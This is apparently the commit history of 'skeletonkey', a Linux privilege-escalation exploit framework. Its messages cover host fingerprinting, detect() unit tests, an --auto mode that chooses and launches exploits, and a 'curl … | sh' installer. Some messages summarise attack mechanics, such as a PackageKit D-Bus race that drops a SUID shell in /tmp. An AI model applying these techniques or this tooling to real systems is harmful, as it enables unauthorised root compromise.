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leviathan 72ac6f8774 install.sh: prefer x86_64-static binary by default (portable across libc versions)
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The dynamic binary requires glibc 2.38+ — built on
ubuntu-latest (2.39+), it refuses to load on Debian 12
(glibc 2.36), older Ubuntu, RHEL 8/9, etc. Hard portability
ceiling for the one-liner installer.

The musl-static binary (built on Alpine, attached as
skeletonkey-x86_64-static) runs on every libc — verified
Alpine → Debian/Ubuntu/Fedora/RHEL cross-distro. Costs ~800 KB
extra (1.2 MB vs 390 KB) but eliminates the libc-version
problem entirely.

Default: install.sh now fetches the -static asset for x86_64.
Override: SKELETONKEY_DYNAMIC=1 curl … | sh fetches the smaller
dynamic binary (for hosts that have modern glibc and want the
smaller download).

arm64: no static variant attached yet (cross-compiling musl
for aarch64 needs a separate toolchain); install.sh still
fetches the dynamic arm64 binary, which works on most modern
arm64 distros (raspberry-pi / aws graviton / etc.).
2026-05-23 00:28:36 -04:00
leviathan fde053a27e install.sh: POSIX-compatible 'set -o pipefail' so 'curl | sh' works
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The README documents the one-liner as 'curl ... install.sh | sh',
but on Debian/Ubuntu /bin/sh is dash which rejects 'set -o pipefail'
unknown option. The shebang #!/usr/bin/env bash is honored only
when the script is invoked directly — when piped via 'curl | sh'
the running shell IS dash.

Fix: split the strict-mode setup. 'set -eu' is POSIX-portable
(every shell). 'pipefail' is then enabled conditionally only on
shells that recognise it. Every curl/tar/install step in the rest
of the script checks its own exit code, so losing pipefail in dash
costs no behaviour — the installer still fails fast on any error.
2026-05-23 00:24:58 -04:00
leviathan 97be306fd2 release: bump version to v0.6.0
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This release captures the session's reliability + accuracy work
on top of v0.5.0:

- Shared host fingerprint (core/host.{h,c}): kernel/distro/userns
  gates / sudo + polkit versions, populated once at startup; every
  module consults ctx->host instead of doing its own probes.
- Test harness (tests/test_detect.c, make test): 44 unit tests over
  mocked host fingerprints, wired into CI as a non-root step.
- --auto upgrades: auto-enables --active, per-detect 15s timeout,
  fork-isolated detect + exploit so a crashing module can't tear
  down the dispatcher, per-module verdict table + scan summary.
- --dry-run flag (preview without firing; --i-know not required).
- Pinned mainline fix commits for the 3 ported modules
  (dirtydecrypt / fragnesia / pack2theroot) — detect() is now
  version-pinned with kernel_range tables, not precondition-only.
- New modules: dirtydecrypt (CVE-2026-31635), fragnesia
  (CVE-2026-46300), pack2theroot (CVE-2026-41651).
- macOS dev build works for the first time (all Linux-only code
  wrapped in #ifdef __linux__).
- docs/JSON_SCHEMA.md: stable consumer contract for --scan --json.

Version bump:
- SKELETONKEY_VERSION = '0.6.0' in skeletonkey.c
- README status line updated with the v0.6.0 changelog
- docs/JSON_SCHEMA.md example refreshed
2026-05-23 00:22:18 -04:00
leviathan a9c8f7d8c6 tests: 5 happy-path VULNERABLE assertions (44 total)
Adds h_kernel_5_14_userns_ok fingerprint (vulnerable kernel +
userns allowed) and uses it to assert the VULNERABLE branch is
reached on the 5 netfilter-class modules whose detect()
short-circuits there once both gates are satisfied:

- nf_tables    (CVE-2024-1086) -> VULNERABLE
- cls_route4   (CVE-2022-2588) -> VULNERABLE
- nft_set_uaf  (CVE-2023-32233) -> VULNERABLE
- nft_fwd_dup  (CVE-2022-25636) -> VULNERABLE
- nft_payload  (CVE-2023-0179) -> VULNERABLE

Combined with the earlier sudo_samedit and pwnkit
vulnerable-version tests, this gives us positive-verdict coverage
on 7 modules (was 2). The detect() logic that decides VULNERABLE
when conditions match is now exercised, not just the precondition
short-circuits.

39 -> 44 cases, all pass on Linux.
2026-05-23 00:17:17 -04:00
leviathan 150f16bc97 pwnkit + sudoedit_editor: ctx->host migration + 4 more tests (39 total)
pwnkit: migrate detect() to consult ctx->host->polkit_version with
the same graceful-fallback pattern as the sudo modules. The version
is populated once at startup by core/host.c (via pkexec --version);
detect() skips the per-scan popen when the host fingerprint has the
version. Falls back to the inline popen path when ctx->host is
missing the version (degenerate test contexts).

sudoedit_editor: already migrated; this commit adds direct test
coverage.

tests/test_detect.c expansion (35 → 39):
- pwnkit: polkit_version='0.105'  -> VULNERABLE (pre-0.121 fix)
- pwnkit: polkit_version='0.121'  -> OK (fix release)
- sudoedit_editor: vuln sudo + no sudoers grant -> PRECOND_FAIL
  (documented behaviour: vulnerable version, but the dispatcher
   has no usable sudoedit grant on the host)
- sudoedit_editor: fixed sudo (1.9.13p1) -> OK

The sudoedit_editor 'vuln + no grant' case is the first test to
exercise the second-level precondition gate AFTER the version
check passes — proves the version-pinned detect logic AND the
sudo -ln target-discovery short-circuit both work as intended.

The h_vuln_sudo / h_fixed_sudo synthetic fingerprints gained the
.polkit_version field alongside .sudo_version so a single fingerprint
exercises both pwnkit and the sudo modules.

Verification: 39/39 pass on Linux (docker gcc:latest + libglib2.0-dev
+ sudo, non-root user skeletonkeyci). macOS dev box still reports
'skipped — Linux-only' as designed.
2026-05-23 00:15:01 -04:00
leviathan c63ee72aa1 docs: JSON output schema (consumer contract for --scan --json)
Adds docs/JSON_SCHEMA.md documenting the shape and stability promises
of the JSON document --scan --json emits on stdout. The schema is
already what the binary produces — this commit pins the contract so
fleet-scan / SIEM consumers can rely on it across releases.

What it covers:
- Top-level object: { version, modules } and field stability.
- Per-module entry: { name, cve, result } with type + stability.
- The 6-value result enum (OK / TEST_ERROR / VULNERABLE /
  EXPLOIT_FAIL / PRECOND_FAIL / EXPLOIT_OK) and what each means
  semantically.
- Process exit-code semantics for --scan (worst observed result
  becomes the exit code — lets a SIEM treat the binary exit as a
  single-host alert level).
- Bash + jq one-liners for the common fleet-roll-up patterns.
- A recommended Python consumer pattern with the forward-compat
  guidance (ignore unknown fields, treat unknown result strings as
  TEST_ERROR-equivalent).
- Explicit stability promises: which fields cannot change without
  a major-version bump, what may be added in future minor
  releases, what consumers MUST tolerate.

Verified against the live binary: --scan --json produces exactly
the documented shape (top-level keys {modules, version}; per-module
keys {cve, name, result}; result values come from the documented
enum). 31 modules / 30 unique CVEs at v0.5.0.

README's 'Sysadmins' audience row now links the schema doc:
'JSON output for CI gates ([schema](docs/JSON_SCHEMA.md))'.
2026-05-23 00:07:45 -04:00
leviathan 86812b043d core/host: userspace version fingerprint (sudo, polkit)
The host fingerprint now captures sudo + polkit versions at startup
so userspace-LPE modules can consult a single source of truth
instead of each popen-ing the relevant binary themselves on every
scan. Pack2theroot already queries PackageKit version via D-Bus
in-module, so PackageKit stays there for now.

core/host.h:
- new fields: char sudo_version[64], char polkit_version[64].
  Empty string when the tool isn't installed or version parse fails;
  modules should treat that as PRECOND_FAIL.
- documented next to has_systemd / has_dbus_system in the struct.

core/host.c:
- new populate_userspace_versions(h) called from
  skeletonkey_host_get() after the other populators.
- capture_first_line() helper runs a command via popen, grabs first
  stdout line, strips newline. Best-effort: failure leaves dst empty.
- extract_version_after_prefix() pulls the version token after a
  fixed prefix string ('Sudo version', 'pkexec version'), handling
  the colon/space variants.
- skeletonkey_host_print_banner() gained a third line when either
  version is non-empty:
    [*] userspace: sudo=1.9.17p2  polkit=-

Module migration (graceful fallback pattern — modules still work
without ctx->host populated):
- sudo_samedit detect: if ctx->host->sudo_version is set, skip the
  popen and synthesize a 'Sudo version <X>' line for the existing
  parser. Falls back to the original find_sudo + popen path if the
  host fingerprint didn't capture a version.
- sudoedit_editor detect: same pattern — host fingerprint sudo_version
  takes precedence over the local get_sudo_version popen.

tests/test_detect.c additions (2 new cases, 33 → 35):
- h_vuln_sudo  fingerprint (sudo_version='1.8.31', kernel 5.15) —
  asserts sudo_samedit reports VULNERABLE via the host-provided
  version string.
- h_fixed_sudo fingerprint (sudo_version='1.9.13p1', kernel 6.12) —
  asserts sudo_samedit reports OK on a patched sudo.

This is the first test pair to cover the *vulnerable* path of a
module rather than just precondition gates — proves the
version-parsing logic itself, not only the short-circuits.

Verification: 35/35 pass on Linux. macOS banner shows
'userspace: sudo=1.9.17p2 polkit=-' as the dev box has Homebrew
sudo but no polkit.
2026-05-23 00:05:39 -04:00
leviathan 0d87cbc71c copy_fail_family: bridge-level userns gate + 4 new tests (33 total)
The 4 dirty_frag siblings + the GCM variant all gate on unprivileged
user-namespace creation (the XFRM-ESP / AF_RXRPC paths are
unreachable without it). The inner DIRTYFAIL detect functions
already check this, but the check happened deep inside the legacy
code — invisible to the test harness, and the bridge wrappers would
delegate first and only short-circuit afterwards.

Move the check up to the bridge: a single cff_check_userns() helper
inspects ctx->host->unprivileged_userns_allowed and returns
PRECOND_FAIL (with a host-fingerprint-annotated message) BEFORE
calling the inner detect. The inner check stays in place as belt-
and-suspenders.

copy_fail itself uses AF_ALG (no userns needed) and bypasses the
gate — its inner detect still confirms the primitive empirically
via the active probe.

modules/copy_fail_family/skeletonkey_modules.c:
- #include "../../core/host.h" alongside the existing includes.
- new static cff_check_userns(modname, ctx) helper.
- copy_fail_gcm_detect_wrap, dirty_frag_esp_detect_wrap,
  dirty_frag_esp6_detect_wrap, dirty_frag_rxrpc_detect_wrap all
  call cff_check_userns before delegating.
- copy_fail_detect_wrap is intentionally untouched.

tests/test_detect.c: 4 new EXPECT_DETECT cases assert that all 4
gated bridge wrappers return PRECOND_FAIL when
unprivileged_userns_allowed=false, using the existing
h_kernel_5_14_no_userns fingerprint.

29 → 33 tests, all pass on Linux.
2026-05-23 00:02:23 -04:00
leviathan 2b1e96336e core/host: in_range helper + 13-module migration + 12 more tests (29 total)
Three coordinated changes that build on the host_kernel_at_least
landed in 1571b88:

1. core/host gains skeletonkey_host_kernel_in_range(h, lo..., hi...)
   — a [lo, hi) bounded-interval check for modules that want the
   'vulnerable window' semantics directly. Implemented in terms of
   host_kernel_at_least (so the comparison logic stays in one place).
   No module uses it yet; available for new modules that want it.

2. 13 modules migrated off the manual
        if (v->major < X || (v->major == X && v->minor < Y)) { ... }
   pattern onto
        if (!skeletonkey_host_kernel_at_least(ctx->host, X, Y, 0)) { ... }
   One-line replacements, mechanical, no behavior change.

   Migrated: af_packet2, dirty_pipe, fuse_legacy, netfilter_xtcompat,
   nf_tables, nft_fwd_dup, nft_payload, nft_set_uaf, overlayfs,
   overlayfs_setuid, ptrace_traceme, stackrot, vmwgfx. The repo now
   has zero manual 'v->major < X' patterns — every predates-check
   reads the same way.

3. tests/test_detect.c expanded from 17 to 29 cases. Adds:

   Above-fix coverage on h_kernel_6_12 (10 modules previously
   untested): af_packet, af_packet2, af_unix_gc, netfilter_xtcompat,
   nft_set_uaf, nft_fwd_dup, nft_payload, stackrot, sequoia, vmwgfx.

   Ancient-kernel predates coverage on h_kernel_4_4 (2 more cases):
   nft_set_uaf (introduced 5.1), stackrot (introduced 6.1).

   Detect-path test coverage now spans most of the corpus that
   has a testable host-fingerprint gate. Untested modules from
   here on are either userspace bugs whose detect() doesn't gate
   on host fields (pwnkit, sudo_samedit, sudoedit_editor),
   entrybleed (sysfs-direct, no host gate), or the copy_fail_family
   bridge (no ctx->host integration yet).

Verification: Linux (docker gcc:latest, non-root user): 29/29 pass.
macOS (local): 31-module build clean, suite reports 'skipped —
Linux-only' as designed.
2026-05-22 23:58:38 -04:00
leviathan 1571b88725 core/host: skeletonkey_host_kernel_at_least + 9 new detect() tests
core/host helper:
- Adds bool skeletonkey_host_kernel_at_least(h, M, m, p) — the
  canonical 'kernel >= X.Y.Z' check. Replaces the manual
  'v->major < X || (v->major == X && v->minor < Y)' pattern that
  many modules use for their 'predates the bug' pre-check. Returns
  false when h is NULL or h->kernel.major == 0 (degenerate cases),
  true otherwise iff the host kernel sorts at or above the supplied
  version.
- dirtydecrypt migrated as the demo: the 'kernel < 7.0 → predates'
  pre-check now reads 'if (!host_kernel_at_least(ctx->host, 7, 0, 0))'.
  Other modules still using the manual pattern continue to work
  unchanged; migrating them is incremental polish.

tests/test_detect.c expansion (8 → 17 cases):

New fingerprints:
- h_kernel_4_4    — ancient (Linux 4.4 LTS); used for 'predates the
                    bug' on dirty_pipe.
- h_kernel_6_12   — recent (Linux 6.12 LTS); above every backport
                    threshold in the corpus — modules report OK via
                    the 'patched by mainline inheritance' branch of
                    kernel_range_is_patched.
- h_kernel_5_14_no_userns — vulnerable-era kernel (5.14.0, past
                    every relevant predates check while below every
                    backport entry) with unprivileged_userns_allowed
                    deliberately false; lets the userns gate fire
                    after the version check confirms vulnerable.

New tests (9):
- dirty_pipe + kernel 4.4 → OK (predates 5.8 introduction)
- dirty_pipe + kernel 6.12 → OK (above every backport)
- dirty_cow + kernel 6.12 → OK (above 4.9 fix)
- ptrace_traceme + kernel 6.12 → OK (above 5.1.17 fix)
- cgroup_release_agent + kernel 6.12 → OK (above 5.17 fix)
- nf_tables + vuln kernel + userns=false → PRECOND_FAIL
- fuse_legacy + vuln kernel + userns=false → PRECOND_FAIL
- cls_route4 + vuln kernel + userns=false → PRECOND_FAIL
- overlayfs_setuid + vuln kernel + userns=false → PRECOND_FAIL

Process note: initial 8th and 9th userns tests failed because the
chosen test kernel (5.10.0) tripped each module's predates check
(nf_tables bug introduced 5.14; overlayfs_setuid 5.11). Switched to
5.14.0, which is past every predates threshold AND below every
backport entry in this batch — the version verdict is now genuinely
'vulnerable' and the userns gate fires next. The bug-finding tests
caught a real-but-narrow modeling gap in the original picks.

Verification:
- Linux (docker gcc:latest, non-root user): 17/17 pass.
- macOS (local): builds clean, suite reports 'skipped — Linux-only'
  as designed.
2026-05-22 23:52:10 -04:00
leviathan 36814f272d modules: migrate remaining 22 modules to ctx->host fingerprint
Completes the host-fingerprint refactor that started in c00c3b4. Every
module now consults the shared ctx->host (populated once at startup
by core/host.c) instead of re-doing uname / geteuid / /etc/os-release
parsing / fork+unshare(CLONE_NEWUSER) probes per detect().

Migrations applied per module (mechanical, no exploit logic touched):

1. #include "../../core/host.h" inside each module's #ifdef __linux__.
2. kernel_version_current(&v) -> ctx->host->kernel (with the
   v -> v-> arrow-vs-dot fix for all later usage). Drops ~20 redundant
   uname() calls across the corpus.
3. geteuid() == 0 (the 'already root, nothing to escalate' gate) ->
   bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
   This is the key change that lets the unit test suite construct
   non-root fingerprints regardless of the test process's actual euid.
4. Per-detect fork+unshare(CLONE_NEWUSER) probe helpers (named
   can_unshare_userns / can_unshare_userns_mount across the corpus)
   are removed wholesale; their call sites now consult
   ctx->host->unprivileged_userns_allowed, which was probed once at
   startup. Removes ~10 per-scan fork()s.

Modules touched by this commit (22):

  Batch A (7): dirty_pipe, dirty_cow, ptrace_traceme, pwnkit,
               cgroup_release_agent, overlayfs_setuid, and entrybleed
               (no migration target — KPTI gate stays as direct sysfs
               read; documented as 'no applicable pattern').

  Batch B (7): nf_tables, cls_route4, netfilter_xtcompat, af_packet,
               af_packet2, af_unix_gc, fuse_legacy.

  Batch C (8): stackrot, nft_set_uaf, nft_fwd_dup, nft_payload,
               sudo_samedit, sequoia, sudoedit_editor, vmwgfx.

Combined with the 4 modules already migrated (dirtydecrypt, fragnesia,
pack2theroot, overlayfs) and the 5-module copy_fail_family bridge,
the entire registered corpus now goes through ctx->host. The 4
'fork+unshare per detect()' helpers that existed across nf_tables,
cls_route4, netfilter_xtcompat, af_packet, af_packet2, fuse_legacy,
nft_set_uaf, nft_fwd_dup, nft_payload, sequoia,
cgroup_release_agent, and overlayfs_setuid are now gone — replaced by
the single startup probe in core/host.c.

Verification:
- Linux (docker gcc:latest + libglib2.0-dev): full clean build links
  31 modules; tests/test_detect.c: 8/8 pass.
- macOS (local): full clean build links 31 modules (Mach-O, 172KB);
  test suite reports skipped as designed on non-Linux.

Subsequent commits can add more EXPECT_DETECT cases in
tests/test_detect.c — the host-fingerprint paths in every module are
now uniformly testable via synthetic struct skeletonkey_host instances.
2026-05-22 23:43:20 -04:00
leviathan d05a46c5c6 .gitignore: exclude skeletonkey-test build artifact
Mirrors the /skeletonkey rule. The test binary slipped into the prior
commit; this removes it from tracking. Local binary on disk is kept
(it's a build artifact).
2026-05-22 23:32:23 -04:00
leviathan ea1744e6f0 tests: detect() unit harness with mocked ctx->host
Adds tests/test_detect.c — a standalone harness that constructs
synthetic struct skeletonkey_host fingerprints (vulnerable / patched /
specific-gate-closed) and asserts each migrated module's detect()
returns the expected verdict. First real test coverage for the corpus;
catches regressions in the host-fingerprint-consuming logic.

Initial coverage — 8 deterministic cases across the 4 modules that
already consume ctx->host:
- dirtydecrypt: 3 cases verifying 'kernel < 7.0 -> predates the bug'
  short-circuit on synthetic 6.12 / 6.14 / 6.8 hosts.
- fragnesia: unprivileged_userns_allowed=false -> PRECOND_FAIL.
- pack2theroot: is_debian_family=false -> PRECOND_FAIL.
- pack2theroot: has_dbus_system=false -> PRECOND_FAIL.
- overlayfs: distro=debian / distro=fedora -> 'not Ubuntu' -> OK.

Coverage grows automatically as more modules migrate to ctx->host
(task #12 below adds them). Each new module that consults the host
fingerprint can have its precondition gates tested with a one-line
EXPECT_DETECT call against a pre-built fingerprint.

Wiring:
- Makefile: new MODULE_OBJS var consolidates the module .o list so
  both the main binary and the test binary can share it without
  duplication. New TEST_BIN := skeletonkey-test target. 'make test'
  builds and runs the suite.
- .github/workflows/build.yml: install libglib2.0-dev + pkg-config so
  pack2theroot builds with GLib in CI (was previously stub-compiling).
  New 'tests — detect() unit suite' step runs 'make test' as a
  non-root user so modules' 'already root' gates don't short-circuit
  before the synthetic host checks fire.
- Test harness compiles cross-platform but assertions are #ifdef
  __linux__ guarded (on non-Linux all module detect() bodies stub-out
  to PRECOND_FAIL, making assertions tautological); macOS dev build
  reports 'skipped'.

Module change:
- pack2theroot p2tr_detect now consults ctx->host->is_root (with a
  geteuid() fallback when ctx->host is null) instead of calling
  geteuid() directly. Production behaviour is identical
  (host->is_root is populated from geteuid() at startup); tests can
  now construct non-root fingerprints regardless of the test
  process's actual euid. Exposed a real consistency issue worth
  fixing.

Verified in docker as non-root: 8/8 pass on Linux. macOS reports
'skipped' as designed.
2026-05-22 23:32:12 -04:00
leviathan c00c3b463a dispatcher: per-detect timeout + exploit() fork-isolation
Two reliability improvements that make --auto survive any misbehaving
module: a 15s timeout on detect() so a hung probe can't stall the
scan, and fork-isolation around exploit/mitigate/cleanup so a
crashing callback doesn't take down --auto's fallback path.

Detect timeout:
- New SKELETONKEY_DETECT_TIMEOUT_SECS = 15.
- run_detect_isolated() forked child now calls alarm(15); if detect()
  hangs, SIGALRM kills the child. Parent observes WIFSIGNALED with
  signal SIGALRM and reports 'detect() timed out (signal 14)' in the
  verdict table.
- cmd_auto distinguishes timeout vs other crash in the scan-summary
  callout: separate n_timeout counter and dedicated [!] line.

Exploit fork-isolation:
- New run_callback_isolated() wraps exploit() / mitigate() / cleanup()
  in a forked child. Two crash-safety properties:
  * A SIGSEGV/SIGILL in the callback is contained; --auto continues
    to the next-safest candidate via its existing fallback list.
  * The dispatcher itself can't be killed by a misbehaving exploit.
- Result-code communication is via a one-byte pipe with FD_CLOEXEC on
  the write end:
  * Callback returns normally  -> child writes result byte, _exit;
                                  parent reads it; trusted result.
  * Callback execve()s a target -> FD_CLOEXEC closes the write end
                                  during the exec transition;
                                  parent's read() gets EOF; we treat
                                  exec-then-exit as EXPLOIT_OK
                                  regardless of the shell's exit
                                  code (we DID land code execution).
  * Callback crashes           -> WIFSIGNALED true; report the
                                  signal and propagate EXPLOIT_FAIL.
- cmd_auto: exploit() crash now logged distinctly ('[!] X exploit
  crashed (signal N) — dispatcher recovered'). Exec-path is
  surfaced too ('[*] X exploit transferred to spawned target — ...').
- cmd_one: same wrapping, same crash/exec reporting for the
  --exploit/--mitigate/--cleanup single-module paths.

Both platforms build clean. Verified containment behavior on Linux
in docker: entrybleed's prefetchnta SIGILL still reports cleanly as
'detect() crashed (signal 4) — continuing' and the scan finishes
through all 31 modules to the summary + pick step.
2026-05-22 23:26:09 -04:00
leviathan 4f30d00a1c core/host: shared host fingerprint refactor
Adds core/host.{h,c} — a single struct skeletonkey_host populated once
at startup and handed to every module callback via ctx->host. Replaces
the per-detect uname / /etc/os-release / sysctl / userns-fork-probe
calls scattered across the corpus with O(1) cached lookups, and gives
the dispatcher one consistent view of the host.

What's in the fingerprint:

- Identity: kernel_version (parsed from uname.release), arch (machine),
  nodename, distro_id / distro_version_id / distro_pretty (parsed once
  from /etc/os-release).
- Process state: euid, real_uid (defeats userns illusion via
  /proc/self/uid_map), egid, username, is_root, is_ssh_session.
- Platform family: is_linux, is_debian_family, is_rpm_family,
  is_arch_family, is_suse_family (file-existence checks once).
- Capability gates (Linux): unprivileged_userns_allowed (live
  fork+unshare probe), apparmor_restrict_userns,
  unprivileged_bpf_disabled, kpti_enabled, kernel_lockdown_active,
  selinux_enforcing, yama_ptrace_restricted.
- System services: has_systemd, has_dbus_system.

Wiring:

- core/module.h forward-declares struct skeletonkey_host and adds the
  pointer to skeletonkey_ctx. Modules opt-in by including
  ../../core/host.h.
- core/host.c is fully POD (no heap pointers) — uses a single file-
  static instance, returns a stable pointer on every call. Lazily
  populated on first skeletonkey_host_get().
- skeletonkey.c calls skeletonkey_host_get() at main() entry, stores
  in ctx.host before any register_*() runs.
- cmd_auto's bespoke distro-fingerprint code (was an inline
  read_os_release helper) is replaced with skeletonkey_host_print_banner(),
  which emits a two-line banner of identity + capability gates.

Migrations:

- dirtydecrypt: kernel_version_current() -> ctx->host->kernel.
- fragnesia: removed local fg_userns_allowed() fork-probe in favour of
  ctx->host->unprivileged_userns_allowed (no per-scan fork). Also
  pulls kernel from ctx->host. The PRECOND_FAIL message now notes
  whether AppArmor restriction is on.
- pack2theroot: access('/etc/debian_version') -> ctx->host->is_debian_family;
  also short-circuits when ctx->host->has_dbus_system is false (saves
  the GLib g_bus_get_sync attempt on systems without system D-Bus).
- overlayfs: replaced the inline is_ubuntu() /etc/os-release parser
  with ctx->host->distro_id comparison. Local helper preserved for
  symmetry / standalone builds.

Documentation: docs/ARCHITECTURE.md gains a 'Host fingerprint'
section describing the struct, the opt-in include pattern, and
example detect() usage. ROADMAP --auto accuracy log notes the
landing and flags remaining modules as an incremental follow-up.

Build verification:

- macOS (local): make clean && make -> Mach-O x86_64, 31 modules,
  banner prints with distro=?/? (no /etc/os-release).
- Linux (docker gcc:latest + libglib2.0-dev): make clean && make ->
  ELF 64-bit, 31 modules. Banner prints with kernel + distro=debian/13
  + 7 capability gates. dirtydecrypt correctly says 'predates the
  rxgk code added in 7.0'; fragnesia PRECOND_FAILs with
  '(host fingerprint)' annotation; pack2theroot PRECOND_FAILs on
  no-DBus; overlayfs reports 'not Ubuntu (distro=debian)'.
2026-05-22 23:18:00 -04:00
leviathan 3e6e0d869b skeletonkey: add --dry-run flag
Preview-only mode for --auto / --exploit / --mitigate / --cleanup.
Walks the full scan (with active probes, fork isolation, verdict
table — everything the real --auto does) and prints what would be
launched, without ever calling the exploit/mitigate/cleanup callback.

Wiring:
- struct skeletonkey_ctx gains a 'dry_run' field (core/module.h).
- Long option --dry-run, getopt case 10.
- cmd_auto: after picking the safest, if dry_run, print
    [*] auto: --dry-run: would launch `--exploit <NAME> --i-know`; not firing.
  plus the remaining ranked candidates, then return 0.
- cmd_one (used for --exploit/--mitigate/--cleanup) shorts on dry_run
  with [*] <module>: --dry-run: would run --<op>; not firing.

UX: --auto --dry-run does NOT require --i-know (nothing fires). The
refusal message for bare --auto now points to --dry-run for the
preview path:
  [-] --auto requires --i-know (or --dry-run for a preview that never fires).

ROADMAP --auto accuracy section updated with the dry-run + the
version-pinned detect work from the previous commit.

Smoke-tested locally on macOS: scanning runs, verdicts print, the
'would launch' line fires, exit 0.
2026-05-22 23:08:24 -04:00
leviathan a26f471ecf dirtydecrypt + fragnesia: pin CVE fix commits, version-based detect()
Both modules' detect() was precondition-only because we didn't know the
mainline fix commits at port time. Debian's security tracker now
provides them — pinning here turns detect() into a proper version-
based verdict (still with --active for empirical override).

dirtydecrypt (CVE-2026-31635):
- Fix commit a2567217ade970ecc458144b6be469bc015b23e5 in mainline 7.0
  ('rxrpc: fix oversized RESPONSE authenticator length check').
- Debian tracker confirms older stable branches (5.10 / 6.1 / 6.12) as
  <not-affected, vulnerable code not present>: the rxgk RESPONSE-
  handling code was added in 7.0.
- kernel_range table: { {7, 0, 0} }
- detect() pre-checks 'kernel < 7.0 -> SKELETONKEY_OK (predates)' then
  consults the table. With --active, the /tmp sentinel probe overrides
  empirically (catches pre-fix 7.0-rc kernels the version check
  reports as patched).

fragnesia (CVE-2026-46300):
- Fix in mainline 7.0.9 per Debian tracker ('linux unstable: 7.0.9-1
  fixed'). Older Debian-stable branches (bullseye 5.10 / bookworm 6.1
  / trixie 6.12) are still marked vulnerable as of 2026-05-22 - no
  backports yet.
- kernel_range table: { {7, 0, 9} }
- detect() keeps the userns + carrier preconditions, then consults
  the table: 7.0.9+ -> OK; older branches without an explicit backport
  entry -> VULNERABLE (version-only). --active confirms empirically.
- Table is intentionally minimal so distros that DO backport in the
  future flow into 'patched' once their branch lands an entry; until
  then, the conservative VULNERABLE verdict on unfixed branches is
  correct.

Other changes:
- module struct .kernel_range strings updated from 'fix commit not
  yet pinned' to the actual pinned-version prose.
- module_safety_rank bumped 86 -> 87 for both modules (version-pinned
  detect is now real; still below the verified copy_fail family at
  88 so --auto prefers verified modules when both apply).
- Both modules now #include core/kernel_range.h inside their
  #ifdef __linux__ block.
- MODULE.md verification-status sections rewritten: detect() is now
  version-pinned; only the exploit body remains unverified.
- CVES.md note + inventory rows updated: dropped the 'precondition-
  only' language for the pair; all three ported modules now have
  pinned fix references.
- README  tier description + module list aligned to the new state.

Both detect()s smoke-tested in docker gcc:latest on kernel 6.12.76-
linuxkit: dirtydecrypt correctly reports OK ('predates the rxgk code
added in 7.0'); fragnesia + pack2theroot correctly report
PRECOND_FAIL (no userns / no D-Bus in container). Local macOS + Linux
builds both clean.
2026-05-22 23:06:15 -04:00
leviathan cdb8f5e8f9 all modules: wrap Linux-only code in #ifdef __linux__ — full macOS build works
Every kernel-LPE module that uses Linux-only headers (splice, posix_fadvise,
linux/netlink.h, sys/ptrace.h, etc.) now follows the same #ifdef __linux__
pattern the new modules already used: Linux body in the ifdef, stub
detect/exploit/cleanup returning SKELETONKEY_PRECOND_FAIL on non-Linux,
platform-neutral rule strings + module struct + register fn left outside.

14 modules wrapped:
  dirty_pipe (already done above), af_packet, af_packet2,
  cgroup_release_agent, cls_route4, dirty_cow, fuse_legacy,
  netfilter_xtcompat, nf_tables, nft_fwd_dup, nft_payload,
  overlayfs, overlayfs_setuid, ptrace_traceme.

Several modules previously had ad-hoc partial stubs (af_packet2 faked
SIOCSIFFLAGS/MAP_LOCKED, netfilter_xtcompat faked sysv-msg syscalls,
the nft_* modules had 3 partial __linux__ islands each, fuse_legacy /
nf_tables had inner-only ifdef blocks) — all replaced with the uniform
outer-wrap shape from dirty_pipe / dirtydecrypt / fragnesia / pack2theroot.

Where a module includes core/kernel_range.h, core/finisher.h, or
core/offsets.h, those are now inside the ifdef block as well — silences
clangd's "unused-includes" LSP warning on macOS while keeping them
present for the real Linux build.

No exploit logic, constant, struct, shellcode byte, or rule string was
modified — only include placement and ifdef markers.

Build verification:
  macOS (local): make clean && make → Mach-O x86_64, 31 modules
                 registered, --scan reports each Linux-only module as
                 "Linux-only module — not applicable here".
  Linux (docker gcc:latest + libglib2.0-dev): make clean && make →
                 ELF 64-bit, 31 modules. Exploit code paths unchanged.
2026-05-22 22:58:16 -04:00
leviathan 9a4cc91619 pack2theroot (CVE-2026-41651) + --auto accuracy work
Adds the third ported module — Pack2TheRoot, a userspace PackageKit
D-Bus TOCTOU LPE — and spends real effort hardening --auto so its
detect step gives an accurate, robust verdict before deploying.

pack2theroot (CVE-2026-41651):
- Ported from the public Vozec PoC
  (github.com/Vozec/CVE-2026-41651). Original disclosure by the
  Deutsche Telekom security team.
- Two back-to-back InstallFiles D-Bus calls (SIMULATE then NONE)
  overwrite the cached transaction flags between polkit auth and
  dispatch. GLib priority ordering makes the overwrite deterministic,
  not a timing race; postinst of the malicious .deb drops a SUID bash
  in /tmp.
- detect() reads PackageKit's VersionMajor/Minor/Micro directly over
  D-Bus and compares against the pinned fix release 1.3.5 (commit
  76cfb675). This is a high-confidence verdict, not precondition-only.
- Debian-family only (PoC builds its own .deb in pure C; ar/ustar/
  gzip-stored inline). Cleanup removes /tmp .debs + best-effort
  unlinks /tmp/.suid_bash + sudo -n dpkg -r the staging packages.
- Adds an optional GLib/GIO build dependency. The top-level Makefile
  autodetects via `pkg-config gio-2.0`; when absent the module
  compiles as a stub returning PRECOND_FAIL.
- Embedded auditd + sigma rules cover the file-side footprint
  (/tmp/.suid_bash, /tmp/.pk-*.deb, non-root dpkg/apt execve).

--auto accuracy improvements:
- Auto-enables --active before the scan. Per-module sentinel probes
  (page-cache /tmp files, fork-isolated namespace mounts) turn
  version-only checks into definitive verdicts, so silent distro
  backports don't fool the scan and --auto won't pick blind on
  TEST_ERROR.
- Per-module verdict printing — every module's result is shown
  (VULNERABLE / patched / precondition / indeterminate), not just
  VULNERABLE rows. Operator sees the full picture.
- Scan-end summary line: "N vulnerable, M patched/n.a., K
  precondition-fail, L indeterminate" with a separate callout when
  modules crashed.
- Distro fingerprint added to the auto banner (ID + VERSION_ID from
  /etc/os-release alongside kernel/arch).
- Fork-isolated detect() — each detector runs in a child process so
  a SIGILL/SIGSEGV in one module's probe is contained and the scan
  continues. Surfaced live while testing: entrybleed's prefetchnta
  KASLR sweep SIGILLs on emulated CPUs (linuxkit on darwin); without
  isolation the whole --auto died at module 7 of 31. With isolation
  the scan reports "detect() crashed (signal 4) — continuing" and
  finishes cleanly.

module_safety_rank additions:
- pack2theroot: 95 (userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint
  — clean but heavier than pwnkit's gconv-modules-only path).
- dirtydecrypt / fragnesia: 86 (page-cache writes; one step below the
  verified copy_fail/dirty_frag family at 88 to prefer verified
  modules when both apply).

Docs:
- README badge / tagline / tier table /  block / example output /
